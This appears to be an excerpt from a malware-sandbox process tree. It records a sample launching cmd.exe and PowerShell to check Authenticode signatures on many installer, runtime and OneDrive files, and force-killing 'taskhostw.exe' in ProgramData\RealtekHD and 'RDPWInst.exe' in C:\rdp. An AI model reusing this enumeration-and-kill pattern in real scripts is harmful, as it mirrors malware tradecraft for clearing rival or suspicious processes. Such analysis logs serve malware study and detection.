-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{d87ae0f4-64a6-4b94-859a-530b9c313c27}\windowsdesktop-runtime-6.0.27-win-x64.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{d87ae0f4-64a6-4b94-859a-530b9c313c27}\windowsdesktop-runtime-6.0.27-win-x64.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\windowsdesktop-runtime-7.0.16-win-x64.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\windowsdesktop-runtime-7.0.16-win-x64.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\vcredist_x64.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\Package Cache\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\vcredist_x64.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\RealtekHD\taskhostw.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\ProgramData\RealtekHD\taskhostw.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "taskhostw.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "taskhostw.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\rdp\RDPWInst.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\rdp\RDPWInst.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /F /IM "RDPWInst.exe""5⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "RDPWInst.exe"6⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adal.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adal.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-console-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-console-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-datetime-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-datetime-l1-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-debug-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-debug-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-errorhandling-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-errorhandling-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l1-2-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l1-2-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l2-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-file-l2-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-handle-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-handle-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-heap-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-heap-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-interlocked-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-interlocked-l1-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-libraryloader-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-libraryloader-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-localization-l1-2-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-localization-l1-2-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-memory-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-memory-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-namedpipe-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-namedpipe-l1-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processenvironment-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processenvironment-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processthreads-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processthreads-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processthreads-l1-1-1.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-processthreads-l1-1-1.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-profile-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-profile-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-rtlsupport-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-rtlsupport-l1-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-string-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-string-l1-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-synch-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-synch-l1-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-synch-l1-2-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-synch-l1-2-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-sysinfo-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-sysinfo-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-timezone-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-timezone-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-util-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-core-util-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-conio-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-conio-l1-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-convert-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-convert-l1-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-environment-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-environment-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-filesystem-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-filesystem-l1-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-heap-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-heap-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-locale-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-locale-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-math-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-math-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-multibyte-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-multibyte-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-private-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-private-l1-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-process-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-process-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-runtime-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-runtime-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-stdio-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-stdio-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-string-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-string-l1-1-0.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-time-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-time-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-utility-l1-1-0.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\api-ms-win-crt-utility-l1-1-0.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ETWlog.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ETWlog.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuthLib.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuthLib.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSync.LocalizedResources.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSync.LocalizedResources.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSync.Resources.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSync.Resources.dll').Status"6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncApi.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncApi.dll').Status"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncClient.dll').Status""5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-AuthenticodeSignature 'C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncClient.dll').Status"6⤵
-
-
-
